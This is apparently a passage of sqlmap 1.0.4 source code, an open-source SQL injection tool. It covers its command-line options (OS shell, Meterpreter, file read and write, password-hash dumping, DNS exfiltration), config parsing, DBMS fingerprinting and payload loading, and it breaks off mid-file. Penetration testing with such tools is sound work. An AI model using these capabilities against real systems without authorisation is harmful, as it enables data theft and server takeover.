request.add_option("--csrf-url", dest="csrfUrl", help="URL address to visit to extract anti-CSRF token") request.add_option("--force-ssl", dest="forceSSL", action="store_true", help="Force usage of SSL/HTTPS") request.add_option("--hpp", dest="hpp", action="store_true", help="Use HTTP parameter pollution method") request.add_option("--eval", dest="evalCode", help="Evaluate provided Python code before the request (e.g. \"import hashlib;id2=hashlib.md5(id).hexdigest()\")") # Optimization options optimization = OptionGroup(parser, "Optimization", "These " "options can be used to optimize the " "performance of sqlmap") optimization.add_option("-o", dest="optimize", action="store_true", help="Turn on all optimization switches") optimization.add_option("--predict-output", dest="predictOutput", action="store_true", help="Predict common queries output") optimization.add_option("--keep-alive", dest="keepAlive", action="store_true", help="Use persistent HTTP(s) connections") optimization.add_option("--null-connection", dest="nullConnection", action="store_true", help="Retrieve page length without actual HTTP response body") optimization.add_option("--threads", dest="threads", type="int", help="Max number of concurrent HTTP(s) " "requests (default %d)" % defaults.threads) # Injection options injection = OptionGroup(parser, "Injection", "These options can be " "used to specify which parameters to test " "for, provide custom injection payloads and " "optional tampering scripts") injection.add_option("-p", dest="testParameter", help="Testable parameter(s)") injection.add_option("--skip", dest="skip", help="Skip testing for given parameter(s)") injection.add_option("--skip-static", dest="skipStatic", action="store_true", help="Skip testing parameters that not appear dynamic") injection.add_option("--dbms", dest="dbms", help="Force back-end DBMS to this value") injection.add_option("--dbms-cred", dest="dbmsCred", help="DBMS authentication credentials (user:password)") injection.add_option("--os", dest="os", help="Force back-end DBMS operating system " "to this value") injection.add_option("--invalid-bignum", dest="invalidBignum", action="store_true", help="Use big numbers for invalidating values") injection.add_option("--invalid-logical", dest="invalidLogical", action="store_true", help="Use logical operations for invalidating values") injection.add_option("--invalid-string", dest="invalidString", action="store_true", help="Use random strings for invalidating values") injection.add_option("--no-cast", dest="noCast", action="store_true", help="Turn off payload casting mechanism") injection.add_option("--no-escape", dest="noEscape", action="store_true", help="Turn off string escaping mechanism") injection.add_option("--prefix", dest="prefix", help="Injection payload prefix string") injection.add_option("--suffix", dest="suffix", help="Injection payload suffix string") injection.add_option("--tamper", dest="tamper", help="Use given script(s) for tampering injection data") # Detection options detection = OptionGroup(parser, "Detection", "These options can be " "used to customize the detection phase") detection.add_option("--level", dest="level", type="int", help="Level of tests to perform (1-5, " "default %d)" % defaults.level) detection.add_option("--risk", dest="risk", type="int", help="Risk of tests to perform (1-3, " "default %d)" % defaults.level) detection.add_option("--string", dest="string", help="String to match when " "query is evaluated to True") detection.add_option("--not-string", dest="notString", help="String to match when " "query is evaluated to False") detection.add_option("--regexp", dest="regexp", help="Regexp to match when " "query is evaluated to True") detection.add_option("--code", dest="code", type="int", help="HTTP code to match when " "query is evaluated to True") detection.add_option("--text-only", dest="textOnly", action="store_true", help="Compare pages based only on the textual content") detection.add_option("--titles", dest="titles", action="store_true", help="Compare pages based only on their titles") # Techniques options techniques = OptionGroup(parser, "Techniques", "These options can be " "used to tweak testing of specific SQL " "injection techniques") techniques.add_option("--technique", dest="tech", help="SQL injection techniques to use " "(default \"%s\")" % defaults.tech) techniques.add_option("--time-sec", dest="timeSec", type="int", help="Seconds to delay the DBMS response " "(default %d)" % defaults.timeSec) techniques.add_option("--union-cols", dest="uCols", help="Range of columns to test for UNION query SQL injection") techniques.add_option("--union-char", dest="uChar", help="Character to use for bruteforcing number of columns") techniques.add_option("--union-from", dest="uFrom", help="Table to use in FROM part of UNION query SQL injection") techniques.add_option("--dns-domain", dest="dnsName", help="Domain name used for DNS exfiltration attack") techniques.add_option("--second-order", dest="secondOrder", help="Resulting page URL searched for second-order " "response") # Fingerprint options fingerprint = OptionGroup(parser, "Fingerprint") fingerprint.add_option("-f", "--fingerprint", dest="extensiveFp", action="store_true", help="Perform an extensive DBMS version fingerprint") # Enumeration options enumeration = OptionGroup(parser, "Enumeration", "These options can " "be used to enumerate the back-end database " "management system information, structure " "and data contained in the tables. Moreover " "you can run your own SQL statements") enumeration.add_option("-a", "--all", dest="getAll", action="store_true", help="Retrieve everything") enumeration.add_option("-b", "--banner", dest="getBanner", action="store_true", help="Retrieve DBMS banner") enumeration.add_option("--current-user", dest="getCurrentUser", action="store_true", help="Retrieve DBMS current user") enumeration.add_option("--current-db", dest="getCurrentDb", action="store_true", help="Retrieve DBMS current database") enumeration.add_option("--hostname", dest="getHostname", action="store_true", help="Retrieve DBMS server hostname") enumeration.add_option("--is-dba", dest="isDba", action="store_true", help="Detect if the DBMS current user is DBA") enumeration.add_option("--users", dest="getUsers", action="store_true", help="Enumerate DBMS users") enumeration.add_option("--passwords", dest="getPasswordHashes", action="store_true", help="Enumerate DBMS users password hashes") enumeration.add_option("--privileges", dest="getPrivileges", action="store_true", help="Enumerate DBMS users privileges") enumeration.add_option("--roles", dest="getRoles", action="store_true", help="Enumerate DBMS users roles") enumeration.add_option("--dbs", dest="getDbs", action="store_true", help="Enumerate DBMS databases") enumeration.add_option("--tables", dest="getTables", action="store_true", help="Enumerate DBMS database tables") enumeration.add_option("--columns", dest="getColumns", action="store_true", help="Enumerate DBMS database table columns") enumeration.add_option("--schema", dest="getSchema", action="store_true", help="Enumerate DBMS schema") enumeration.add_option("--count", dest="getCount", action="store_true", help="Retrieve number of entries for table(s)") enumeration.add_option("--dump", dest="dumpTable", action="store_true", help="Dump DBMS database table entries") enumeration.add_option("--dump-all", dest="dumpAll", action="store_true", help="Dump all DBMS databases tables entries") enumeration.add_option("--search", dest="search", action="store_true", help="Search column(s), table(s) and/or database name(s)") enumeration.add_option("--comments", dest="getComments", action="store_true", help="Retrieve DBMS comments") enumeration.add_option("-D", dest="db", help="DBMS database to enumerate") enumeration.add_option("-T", dest="tbl", help="DBMS database table(s) to enumerate") enumeration.add_option("-C", dest="col", help="DBMS database table column(s) to enumerate") enumeration.add_option("-X", dest="excludeCol", help="DBMS database table column(s) to not enumerate") enumeration.add_option("-U", dest="user", help="DBMS user to enumerate") enumeration.add_option("--exclude-sysdbs", dest="excludeSysDbs", action="store_true", help="Exclude DBMS system databases when " "enumerating tables") enumeration.add_option("--where", dest="dumpWhere", help="Use WHERE condition while table dumping") enumeration.add_option("--start", dest="limitStart", type="int", help="First query output entry to retrieve") enumeration.add_option("--stop", dest="limitStop", type="int", help="Last query output entry to retrieve") enumeration.add_option("--first", dest="firstChar", type="int", help="First query output word character to retrieve") enumeration.add_option("--last", dest="lastChar", type="int", help="Last query output word character to retrieve") enumeration.add_option("--sql-query", dest="query", help="SQL statement to be executed") enumeration.add_option("--sql-shell", dest="sqlShell", action="store_true", help="Prompt for an interactive SQL shell") enumeration.add_option("--sql-file", dest="sqlFile", help="Execute SQL statements from given file(s)") # Brute force options brute = OptionGroup(parser, "Brute force", "These " "options can be used to run brute force " "checks") brute.add_option("--common-tables", dest="commonTables", action="store_true", help="Check existence of common tables") brute.add_option("--common-columns", dest="commonColumns", action="store_true", help="Check existence of common columns") # User-defined function options udf = OptionGroup(parser, "User-defined function injection", "These " "options can be used to create custom user-defined " "functions") udf.add_option("--udf-inject", dest="udfInject", action="store_true", help="Inject custom user-defined functions") udf.add_option("--shared-lib", dest="shLib", help="Local path of the shared library") # File system options filesystem = OptionGroup(parser, "File system access", "These options " "can be used to access the back-end database " "management system underlying file system") filesystem.add_option("--file-read", dest="rFile", help="Read a file from the back-end DBMS " "file system") filesystem.add_option("--file-write", dest="wFile", help="Write a local file on the back-end " "DBMS file system") filesystem.add_option("--file-dest", dest="dFile", help="Back-end DBMS absolute filepath to " "write to") # Takeover options takeover = OptionGroup(parser, "Operating system access", "These " "options can be used to access the back-end " "database management system underlying " "operating system") takeover.add_option("--os-cmd", dest="osCmd", help="Execute an operating system command") takeover.add_option("--os-shell", dest="osShell", action="store_true", help="Prompt for an interactive operating " "system shell") takeover.add_option("--os-pwn", dest="osPwn", action="store_true", help="Prompt for an OOB shell, " "Meterpreter or VNC") takeover.add_option("--os-smbrelay", dest="osSmb", action="store_true", help="One click prompt for an OOB shell, " "Meterpreter or VNC") takeover.add_option("--os-bof", dest="osBof", action="store_true", help="Stored procedure buffer overflow " "exploitation") takeover.add_option("--priv-esc", dest="privEsc", action="store_true", help="Database process user privilege escalation") takeover.add_option("--msf-path", dest="msfPath", help="Local path where Metasploit Framework " "is installed") takeover.add_option("--tmp-path", dest="tmpPath", help="Remote absolute path of temporary files " "directory") # Windows registry options windows = OptionGroup(parser, "Windows registry access", "These " "options can be used to access the back-end " "database management system Windows " "registry") windows.add_option("--reg-read", dest="regRead", action="store_true", help="Read a Windows registry key value") windows.add_option("--reg-add", dest="regAdd", action="store_true", help="Write a Windows registry key value data") windows.add_option("--reg-del", dest="regDel", action="store_true", help="Delete a Windows registry key value") windows.add_option("--reg-key", dest="regKey", help="Windows registry key") windows.add_option("--reg-value", dest="regVal", help="Windows registry key value") windows.add_option("--reg-data", dest="regData", help="Windows registry key value data") windows.add_option("--reg-type", dest="regType", help="Windows registry key value type") # General options general = OptionGroup(parser, "General", "These options can be used " "to set some general working parameters") #general.add_option("-x", dest="xmlFile", # help="Dump the data into an XML file") general.add_option("-s", dest="sessionFile", help="Load session from a stored (.sqlite) file") general.add_option("-t", dest="trafficFile", help="Log all HTTP traffic into a " "textual file") general.add_option("--batch", dest="batch", action="store_true", help="Never ask for user input, use the default behaviour") general.add_option("--charset", dest="charset", help="Force character encoding used for data retrieval") general.add_option("--crawl", dest="crawlDepth", type="int", help="Crawl the website starting from the target URL") general.add_option("--crawl-exclude", dest="crawlExclude", help="Regexp to exclude pages from crawling (e.g. \"logout\")") general.add_option("--csv-del", dest="csvDel", help="Delimiting character used in CSV output " "(default \"%s\")" % defaults.csvDel) general.add_option("--dump-format", dest="dumpFormat", help="Format of dumped data (CSV (default), HTML or SQLITE)") general.add_option("--eta", dest="eta", action="store_true", help="Display for each output the " "estimated time of arrival") general.add_option("--flush-session", dest="flushSession", action="store_true", help="Flush session files for current target") general.add_option("--forms", dest="forms", action="store_true", help="Parse and test forms on target URL") general.add_option("--fresh-queries", dest="freshQueries", action="store_true", help="Ignore query results stored in session file") general.add_option("--hex", dest="hexConvert", action="store_true", help="Use DBMS hex function(s) for data retrieval") general.add_option("--output-dir", dest="outputDir", action="store", help="Custom output directory path") general.add_option("--parse-errors", dest="parseErrors", action="store_true", help="Parse and display DBMS error messages from responses") general.add_option("--pivot-column", dest="pivotColumn", help="Pivot column name") general.add_option("--save", dest="saveConfig", help="Save options to a configuration INI file") general.add_option("--scope", dest="scope", help="Regexp to filter targets from provided proxy log") general.add_option("--test-filter", dest="testFilter", help="Select tests by payloads and/or titles (e.g. ROW)") general.add_option("--test-skip", dest="testSkip", help="Skip tests by payloads and/or titles (e.g. BENCHMARK)") general.add_option("--update", dest="updateAll", action="store_true", help="Update sqlmap") # Miscellaneous options miscellaneous = OptionGroup(parser, "Miscellaneous") miscellaneous.add_option("-z", dest="mnemonics", help="Use short mnemonics (e.g. \"flu,bat,ban,tec=EU\")") miscellaneous.add_option("--alert", dest="alert", help="Run host OS command(s) when SQL injection is found") miscellaneous.add_option("--answers", dest="answers", help="Set question answers (e.g. \"quit=N,follow=N\")") miscellaneous.add_option("--beep", dest="beep", action="store_true", help="Beep on question and/or when SQL injection is found") miscellaneous.add_option("--cleanup", dest="cleanup", action="store_true", help="Clean up the DBMS from sqlmap specific " "UDF and tables") miscellaneous.add_option("--dependencies", dest="dependencies", action="store_true", help="Check for missing (non-core) sqlmap dependencies") miscellaneous.add_option("--disable-coloring", dest="disableColoring", action="store_true", help="Disable console output coloring") miscellaneous.add_option("--gpage", dest="googlePage", type="int", help="Use Google dork results from specified page number") miscellaneous.add_option("--identify-waf", dest="identifyWaf", action="store_true", help="Make a thorough testing for a WAF/IPS/IDS protection") miscellaneous.add_option("--skip-waf", dest="skipWaf", action="store_true", help="Skip heuristic detection of WAF/IPS/IDS protection") miscellaneous.add_option("--mobile", dest="mobile", action="store_true", help="Imitate smartphone through HTTP User-Agent header") miscellaneous.add_option("--offline", dest="offline", action="store_true", help="Work in offline mode (only use session data)") miscellaneous.add_option("--page-rank", dest="pageRank", action="store_true", help="Display page rank (PR) for Google dork results") miscellaneous.add_option("--purge-output", dest="purgeOutput", action="store_true", help="Safely remove all content from output directory") miscellaneous.add_option("--smart", dest="smart", action="store_true", help="Conduct thorough tests only if positive heuristic(s)") miscellaneous.add_option("--sqlmap-shell", dest="sqlmapShell", action="store_true", help="Prompt for an interactive sqlmap shell") miscellaneous.add_option("--wizard", dest="wizard", action="store_true", help="Simple wizard interface for beginner users") # Hidden and/or experimental options parser.add_option("--dummy", dest="dummy", action="store_true", help=SUPPRESS_HELP) parser.add_option("--pickled-options", dest="pickledOptions", help=SUPPRESS_HELP) parser.add_option("--disable-precon", dest="disablePrecon", action="store_true", help=SUPPRESS_HELP) parser.add_option("--profile", dest="profile", action="store_true", help=SUPPRESS_HELP) parser.add_option("--binary-fields", dest="binaryFields", help=SUPPRESS_HELP) parser.add_option("--cpu-throttle", dest="cpuThrottle", type="int", help=SUPPRESS_HELP) parser.add_option("--force-dns", dest="forceDns", action="store_true", help=SUPPRESS_HELP) parser.add_option("--force-threads", dest="forceThreads", action="store_true", help=SUPPRESS_HELP) parser.add_option("--smoke-test", dest="smokeTest", action="store_true", help=SUPPRESS_HELP) parser.add_option("--live-test", dest="liveTest", action="store_true", help=SUPPRESS_HELP) parser.add_option("--stop-fail", dest="stopFail", action="store_true", help=SUPPRESS_HELP) parser.add_option("--run-case", dest="runCase", help=SUPPRESS_HELP) parser.add_option_group(target) parser.add_option_group(request) parser.add_option_group(optimization) parser.add_option_group(injection) parser.add_option_group(detection) parser.add_option_group(techniques) parser.add_option_group(fingerprint) parser.add_option_group(enumeration) parser.add_option_group(brute) parser.add_option_group(udf) parser.add_option_group(filesystem) parser.add_option_group(takeover) parser.add_option_group(windows) parser.add_option_group(general) parser.add_option_group(miscellaneous) # Dirty hack to display longer options without breaking into two lines def _(self, *args): retVal = parser.formatter._format_option_strings(*args) if len(retVal) > MAX_HELP_OPTION_LENGTH: retVal = ("%%.%ds.." % (MAX_HELP_OPTION_LENGTH - parser.formatter.indent_increment)) % retVal return retVal parser.formatter._format_option_strings = parser.formatter.format_option_strings parser.formatter.format_option_strings = type(parser.formatter.format_option_strings)(_, parser, type(parser)) # Dirty hack for making a short option -hh option = parser.get_option("--hh") option._short_opts = ["-hh"] option._long_opts = [] # Dirty hack for inherent help message of switch -h option = parser.get_option("-h") option.help = option.help.capitalize().replace("this help", "basic help") _ = [] prompt = False advancedHelp = True extraHeaders = [] for arg in argv: _.append(getUnicode(arg, encoding=sys.getfilesystemencoding())) argv = _ checkDeprecatedOptions(argv) prompt = "--sqlmap-shell" in argv if prompt: parser.usage = "" cmdLineOptions.sqlmapShell = True _ = ["x", "q", "exit", "quit", "clear"] for option in parser.option_list: _.extend(option._long_opts) _.extend(option._short_opts) for group in parser.option_groups: for option in group.option_list: _.extend(option._long_opts) _.extend(option._short_opts) autoCompletion(AUTOCOMPLETE_TYPE.SQLMAP, commands=_) while True: command = None try: command = raw_input("sqlmap-shell> ").strip() command = getUnicode(command, encoding=sys.stdin.encoding) except (KeyboardInterrupt, EOFError): print raise SqlmapShellQuitException if not command: continue elif command.lower() == "clear": clearHistory() print "[i] history cleared" saveHistory(AUTOCOMPLETE_TYPE.SQLMAP) elif command.lower() in ("x", "q", "exit", "quit"): raise SqlmapShellQuitException elif command[0] != '-': print "[!] invalid option(s) provided" print "[i] proper example: '-u http://www.site.com/vuln.php?id=1 --banner'" else: saveHistory(AUTOCOMPLETE_TYPE.SQLMAP) loadHistory(AUTOCOMPLETE_TYPE.SQLMAP) break try: for arg in shlex.split(command): argv.append(getUnicode(arg, encoding=sys.stdin.encoding)) except ValueError, ex: raise SqlmapSyntaxException, "something went wrong during command line parsing ('%s')" % ex.message # Hide non-basic options in basic help case for i in xrange(len(argv)): if argv[i] == "-hh": argv[i] = "-h" elif re.search(r"\A-\w=.+", argv[i]): print "[!] potentially miswritten (illegal '=') short option detected ('%s')" % argv[i] elif argv[i] == "-H": if i + 1 < len(argv): extraHeaders.append(argv[i + 1]) elif re.match(r"\A\d+!\Z", argv[i]) and argv[max(0, i - 1)] == "--threads" or re.match(r"\A--threads.+\d+!\Z", argv[i]): argv[i] = argv[i][:-1] conf.skipThreadCheck = True elif argv[i] == "--version": print VERSION_STRING.split('/')[-1] raise SystemExit elif argv[i] == "-h": advancedHelp = False for group in parser.option_groups[:]: found = False for option in group.option_list: if option.dest not in BASIC_HELP_ITEMS: option.help = SUPPRESS_HELP else: found = True if not found: parser.option_groups.remove(group) try: (args, _) = parser.parse_args(argv) except UnicodeEncodeError, ex: print "\n[!] %s" % ex.object.encode("unicode-escape") raise SystemExit except SystemExit: if "-h" in argv and not advancedHelp: print "\n[!] to see full list of options run with '-hh'" raise if extraHeaders: if not args.headers: args.headers = "" delimiter = "\\n" if "\\n" in args.headers else "\n" args.headers += delimiter + delimiter.join(extraHeaders) # Expand given mnemonic options (e.g. -z "ign,flu,bat") for i in xrange(len(argv) - 1): if argv[i] == "-z": expandMnemonics(argv[i + 1], parser, args) if args.dummy: args.url = args.url or DUMMY_URL if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, \ args.requestFile, args.updateAll, args.smokeTest, args.liveTest, args.wizard, args.dependencies, \ args.purgeOutput, args.pickledOptions, args.sitemapUrl)): errMsg = "missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, -x, --wizard, --update, --purge-output or --dependencies), " errMsg += "use -h for basic or -hh for advanced help" parser.error(errMsg) return args except (OptionError, TypeError), e: parser.error(e) except SystemExit: # Protection against Windows dummy double clicking if IS_WIN: print "\nPress Enter to continue...", raw_input() raise debugMsg = "parsing command line" logger.debug(debugMsg) sqlmap-1.0.4/lib/parse/configfile.py000066400000000000000000000065431270044205500173570ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.common import checkFile from lib.core.common import getSafeExString from lib.core.common import getUnicode from lib.core.common import openFile from lib.core.common import unArrayizeValue from lib.core.common import UnicodeRawConfigParser from lib.core.data import cmdLineOptions from lib.core.data import conf from lib.core.data import logger from lib.core.exception import SqlmapMissingMandatoryOptionException from lib.core.exception import SqlmapSyntaxException from lib.core.optiondict import optDict config = None def configFileProxy(section, option, boolean=False, integer=False): """ Parse configuration file and save settings into the configuration advanced dictionary. """ global config if config.has_option(section, option): try: if boolean: value = config.getboolean(section, option) if config.get(section, option) else False elif integer: value = config.getint(section, option) if config.get(section, option) else 0 else: value = config.get(section, option) except ValueError, ex: errMsg = "error occurred while processing the option " errMsg += "'%s' in provided configuration file ('%s')" % (option, getUnicode(ex)) raise SqlmapSyntaxException(errMsg) if value: conf[option] = value else: conf[option] = None else: debugMsg = "missing requested option '%s' (section " % option debugMsg += "'%s') into the configuration file, " % section debugMsg += "ignoring. Skipping to next." logger.debug(debugMsg) def configFileParser(configFile): """ Parse configuration file and save settings into the configuration advanced dictionary. """ global config debugMsg = "parsing configuration file" logger.debug(debugMsg) checkFile(configFile) configFP = openFile(configFile, "rb") try: config = UnicodeRawConfigParser() config.readfp(configFP) except Exception, ex: errMsg = "you have provided an invalid and/or unreadable configuration file ('%s')" % getSafeExString(ex) raise SqlmapSyntaxException(errMsg) if not config.has_section("Target"): errMsg = "missing a mandatory section 'Target' in the configuration file" raise SqlmapMissingMandatoryOptionException(errMsg) mandatory = False for option in ("direct", "url", "logFile", "bulkFile", "googleDork", "requestFile", "sitemapUrl", "wizard"): if config.has_option("Target", option) and config.get("Target", option) or cmdLineOptions.get(option): mandatory = True break if not mandatory: errMsg = "missing a mandatory option in the configuration file " errMsg += "(direct, url, logFile, bulkFile, googleDork, requestFile, sitemapUrl or wizard)" raise SqlmapMissingMandatoryOptionException(errMsg) for family, optionData in optDict.items(): for option, datatype in optionData.items(): datatype = unArrayizeValue(datatype) boolean = datatype == "boolean" integer = datatype == "integer" configFileProxy(family, option, boolean, integer) sqlmap-1.0.4/lib/parse/handler.py000066400000000000000000000051201270044205500166550ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import re from xml.sax.handler import ContentHandler from lib.core.common import sanitizeStr class FingerprintHandler(ContentHandler): """ This class defines methods to parse and extract information from the given DBMS banner based upon the data in XML file """ def __init__(self, banner, info): ContentHandler.__init__(self) self._banner = sanitizeStr(banner) self._regexp = None self._match = None self._dbmsVersion = None self._techVersion = None self._info = info def _feedInfo(self, key, value): value = sanitizeStr(value) if value in (None, "None"): return if key == "dbmsVersion": self._info[key] = value else: if key not in self._info.keys(): self._info[key] = set() for _ in value.split("|"): self._info[key].add(_) def startElement(self, name, attrs): if name == "regexp": self._regexp = sanitizeStr(attrs.get("value")) _ = re.match("\A[A-Za-z0-9]+", self._regexp) # minor trick avoiding compiling of large amount of regexes if _ and _.group(0).lower() in self._banner.lower() or not _: self._match = re.search(self._regexp, self._banner, re.I | re.M) else: self._match = None if name == "info" and self._match: self._feedInfo("type", attrs.get("type")) self._feedInfo("distrib", attrs.get("distrib")) self._feedInfo("release", attrs.get("release")) self._feedInfo("codename", attrs.get("codename")) self._dbmsVersion = sanitizeStr(attrs.get("dbms_version")) self._techVersion = sanitizeStr(attrs.get("tech_version")) self._sp = sanitizeStr(attrs.get("sp")) if self._dbmsVersion.isdigit(): self._feedInfo("dbmsVersion", self._match.group(int(self._dbmsVersion))) if self._techVersion.isdigit(): self._feedInfo("technology", "%s %s" % (attrs.get("technology"), self._match.group(int(self._techVersion)))) else: self._feedInfo("technology", attrs.get("technology")) if self._sp.isdigit(): self._feedInfo("sp", "Service Pack %s" % int(self._sp)) self._regexp = None self._match = None self._dbmsVersion = None self._techVersion = None sqlmap-1.0.4/lib/parse/headers.py000066400000000000000000000032101270044205500166510ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import itertools import os from lib.core.common import parseXmlFile from lib.core.data import kb from lib.core.data import paths from lib.parse.handler import FingerprintHandler def headersParser(headers): """ This function calls a class that parses the input HTTP headers to fingerprint the back-end database management system operating system and the web application technology """ if not kb.headerPaths: kb.headerPaths = { "cookie": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "cookie.xml"), "microsoftsharepointteamservices": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "sharepoint.xml"), "server": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "server.xml"), "servlet-engine": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "servlet.xml"), "set-cookie": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "cookie.xml"), "x-aspnet-version": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "x-aspnet-version.xml"), "x-powered-by": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "x-powered-by.xml"), } for header in itertools.ifilter(lambda x: x in kb.headerPaths, headers): value = headers[header] xmlfile = kb.headerPaths[header] handler = FingerprintHandler(value, kb.headersFp) parseXmlFile(xmlfile, handler) parseXmlFile(paths.GENERIC_XML, handler) sqlmap-1.0.4/lib/parse/html.py000066400000000000000000000032671270044205500162160ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import re from xml.sax.handler import ContentHandler from lib.core.common import parseXmlFile from lib.core.data import kb from lib.core.data import paths from lib.core.threads import getCurrentThreadData class HTMLHandler(ContentHandler): """ This class defines methods to parse the input HTML page to fingerprint the back-end database management system """ def __init__(self, page): ContentHandler.__init__(self) self._dbms = None self._page = page self.dbms = None def _markAsErrorPage(self): threadData = getCurrentThreadData() threadData.lastErrorPage = (threadData.lastRequestUID, self._page) def startElement(self, name, attrs): if name == "dbms": self._dbms = attrs.get("value") elif name == "error": if re.search(attrs.get("regexp"), self._page, re.I): self.dbms = self._dbms self._markAsErrorPage() def htmlParser(page): """ This function calls a class that parses the input HTML page to fingerprint the back-end database management system """ xmlfile = paths.ERRORS_XML handler = HTMLHandler(page) parseXmlFile(xmlfile, handler) if handler.dbms and handler.dbms not in kb.htmlFp: kb.lastParserStatus = handler.dbms kb.htmlFp.append(handler.dbms) else: kb.lastParserStatus = None # generic SQL warning/error messages if re.search(r"SQL (warning|error|syntax)", page, re.I): handler._markAsErrorPage() return handler.dbms sqlmap-1.0.4/lib/parse/payloads.py000066400000000000000000000061371270044205500170650ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import os from xml.etree import ElementTree as et from lib.core.common import getSafeExString from lib.core.data import conf from lib.core.data import paths from lib.core.datatype import AttribDict from lib.core.exception import SqlmapInstallationException def cleanupVals(text, tag): if tag in ("clause", "where"): text = text.split(',') if isinstance(text, basestring): text = int(text) if text.isdigit() else text elif isinstance(text, list): count = 0 for _ in text: text[count] = int(_) if _.isdigit() else _ count += 1 if len(text) == 1 and tag not in ("clause", "where"): text = text[0] return text def parseXmlNode(node): for element in node.getiterator('boundary'): boundary = AttribDict() for child in element.getchildren(): if child.text: values = cleanupVals(child.text, child.tag) boundary[child.tag] = values else: boundary[child.tag] = None conf.boundaries.append(boundary) for element in node.getiterator('test'): test = AttribDict() for child in element.getchildren(): if child.text and child.text.strip(): values = cleanupVals(child.text, child.tag) test[child.tag] = values else: if len(child.getchildren()) == 0: test[child.tag] = None continue else: test[child.tag] = AttribDict() for gchild in child.getchildren(): if gchild.tag in test[child.tag]: prevtext = test[child.tag][gchild.tag] test[child.tag][gchild.tag] = [prevtext, gchild.text] else: test[child.tag][gchild.tag] = gchild.text conf.tests.append(test) def loadBoundaries(): try: doc = et.parse(paths.BOUNDARIES_XML) except Exception, ex: errMsg = "something seems to be wrong with " errMsg += "the file '%s' ('%s'). Please make " % (paths.BOUNDARIES_XML, getSafeExString(ex)) errMsg += "sure that you haven't made any changes to it" raise SqlmapInstallationException, errMsg root = doc.getroot() parseXmlNode(root) def loadPayloads(): payloadFiles = os.listdir(paths.SQLMAP_XML_PAYLOADS_PATH) payloadFiles.sort() for payloadFile in payloadFiles: payloadFilePath = os.path.join(paths.SQLMAP_XML_PAYLOADS_PATH, payloadFile) try: doc = et.parse(payloadFilePath) except Exception, ex: errMsg = "something seems to be wrong with " errMsg += "the file '%s' ('%s'). Please make " % (payloadFilePath, getSafeExString(ex)) errMsg += "sure that you haven't made any changes to it" raise SqlmapInstallationException, errMsg root = doc.getroot() parseXmlNode(root) sqlmap-1.0.4/lib/parse/sitemap.py000066400000000000000000000033661270044205500167140ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import httplib import re from lib.core.common import readInput from lib.core.data import kb from lib.core.data import logger from lib.core.exception import SqlmapSyntaxException from lib.request.connect import Connect as Request from thirdparty.oset.pyoset import oset abortedFlag = None def parseSitemap(url, retVal=None): global abortedFlag if retVal is not None: logger.debug("parsing sitemap '%s'" % url) try: if retVal is None: abortedFlag = False retVal = oset() try: content = Request.getPage(url=url, raise404=True)[0] if not abortedFlag else "" except httplib.InvalidURL: errMsg = "invalid URL given for sitemap ('%s')" % url raise SqlmapSyntaxException, errMsg for match in re.finditer(r"\s*([^<]+)", content or ""): if abortedFlag: break url = match.group(1).strip() if url.endswith(".xml") and "sitemap" in url.lower(): if kb.followSitemapRecursion is None: message = "sitemap recursion detected. Do you want to follow? [y/N] " test = readInput(message, default="N") kb.followSitemapRecursion = test[0] in ("y", "Y") if kb.followSitemapRecursion: parseSitemap(url, retVal) else: retVal.add(url) except KeyboardInterrupt: abortedFlag = True warnMsg = "user aborted during sitemap parsing. sqlmap " warnMsg += "will use partial list" logger.warn(warnMsg) return retVal sqlmap-1.0.4/lib/request/000077500000000000000000000000001270044205500152465ustar00rootroot00000000000000sqlmap-1.0.4/lib/request/__init__.py000066400000000000000000000002261270044205500173570ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ pass sqlmap-1.0.4/lib/request/basic.py000066400000000000000000000334561270044205500167140ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import codecs import gzip import logging import re import StringIO import struct import zlib from lib.core.common import extractErrorMessage from lib.core.common import extractRegexResult from lib.core.common import getPublicTypeMembers from lib.core.common import getUnicode from lib.core.common import randomStr from lib.core.common import readInput from lib.core.common import resetCookieJar from lib.core.common import singleTimeLogMessage from lib.core.common import singleTimeWarnMessage from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import HTTP_HEADER from lib.core.enums import PLACE from lib.core.exception import SqlmapCompressionException from lib.core.settings import BLOCKED_IP_REGEX from lib.core.settings import DEFAULT_COOKIE_DELIMITER from lib.core.settings import EVENTVALIDATION_REGEX from lib.core.settings import MAX_CONNECTION_TOTAL_SIZE from lib.core.settings import META_CHARSET_REGEX from lib.core.settings import PARSE_HEADERS_LIMIT from lib.core.settings import UNICODE_ENCODING from lib.core.settings import VIEWSTATE_REGEX from lib.parse.headers import headersParser from lib.parse.html import htmlParser from lib.utils.htmlentities import htmlEntities from thirdparty.chardet import detect from thirdparty.odict.odict import OrderedDict def forgeHeaders(items=None): """ Prepare HTTP Cookie, HTTP User-Agent and HTTP Referer headers to use when performing the HTTP requests """ items = items or {} for _ in items.keys(): if items[_] is None: del items[_] headers = OrderedDict(conf.httpHeaders) headers.update(items.items()) class _str(str): def 